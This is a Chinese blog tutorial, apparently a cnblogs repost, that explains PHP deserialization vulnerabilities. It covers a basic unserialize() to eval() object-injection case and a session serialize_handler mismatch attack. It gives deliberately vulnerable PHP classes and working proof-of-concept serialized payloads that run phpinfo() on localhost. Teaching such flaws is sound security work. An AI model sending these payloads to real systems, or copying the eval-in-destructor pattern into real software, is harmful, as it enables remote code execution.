zoukankan      html  css  js  c++  java
  • PHP反序列化漏洞

    【序列化简单利用】 

        serialize() 序列化:使用函数serialize()可将实例序列化为字符串
      unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原

    代码示例:

    <?php
    class Example {
        var $var = '';
        function __destruct() {
            eval($this->var);
        }
    }
    unserialize($_GET['code']);
    ?>

    漏洞利用:

    构造漏洞利用的代码,保存为test.php,获取序列化值为  O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

    <?php
    class Example {
        var $var = 'phpinfo();';
        function __destruct() {
            eval($this->var);
        }
    }
    $a=new Example();
    echo serialize($a);
    ?>

    提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}  即可执行phpinfo()

    【PHP SESSION反序列化】

       主要原因是: ini_set(‘session.serialize_handler’, ‘php_serialize’);

           ini_set(‘session.serialize_handler’, ‘php’);

           两者处理session的方式不同

    <?php
    ini_set('session.serialize_handler','php_serialize');
    //ini_set('session.serialize_handler','php'); session_start(); $_SESSION[
    "test"]=$_GET["a"]; ?>
    //提交?a=1111
    输出结果:
    php_serialize: a:1:{s:4:"test";s:4:"1111";}
    php: test|s:4:"1111";

    如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
    代码示例:
    新建test1.php
    <?php
    ini_set('session.serialize_handler', 'php');
    session_start();
    class test {
        var $hi;
        function __construct(){
            $this->hi = 'phpinfo();';
        }
    
        function __destruct() {
             eval($this->hi);
        }
    }
    ?>
    新建test2.php
    <?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["test"]=$_GET["a"];
    ?>

    漏洞利用:

    构造利用代码

    <?php
    class test {
        var $hi;
        function __construct(){
            $this->hi = 'phpinfo();';
        }
    
        function __destruct() {
             eval($this->hi);
        }
    }
    $a=new test();
    echo serialize($a);
    
    ?>

    获取反序列化字符串:O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}

    步骤一:提交test2.php?a=|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";},

        传入的数据会按照php_serialize来进行序列化:a:1:{s:4:"test";s:43:"|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}

    步骤二:然后再访问http://127.0.0.1/test1.php,成功执行phpinfo()

        此时访问test1.php,应用程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:4:"test";s:43:"作为SESSION的key,将O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}作为value,然后进行反序列化,最后就会就会实例化test对象,最后就会执行析构函数中的eval()方法。

    参考文章:

    PHP反序列化漏洞  http://wyb0.com/posts/php-deserialization-vulnerabilities/

    PHP反序列化 代码执行 https://www.cnblogs.com/yinqin/articles/4962837.html

    PHP中SESSION反序列化机制  https://blog.spoock.com/2016/10/16/php-serialize-problem/

  • 相关阅读:
    OpenCascade Ray Tracing Rendering
    Create New Commands in Tcl
    OpenCascade Modeling Algorithms Fillets and Chamfers
    OpenCascade Modeling Algorithms Boolean Operations
    Construction of Primitives in Open Cascade
    Open Cascade Data Exchange STL
    Tcl Tk Introduction
    Open Cascade DataExchange IGES
    Netgen mesh library : nglib
    Hello Netgen
  • 原文地址:https://www.cnblogs.com/xiaozi/p/7839256.html
Copyright © 2011-2022 走看看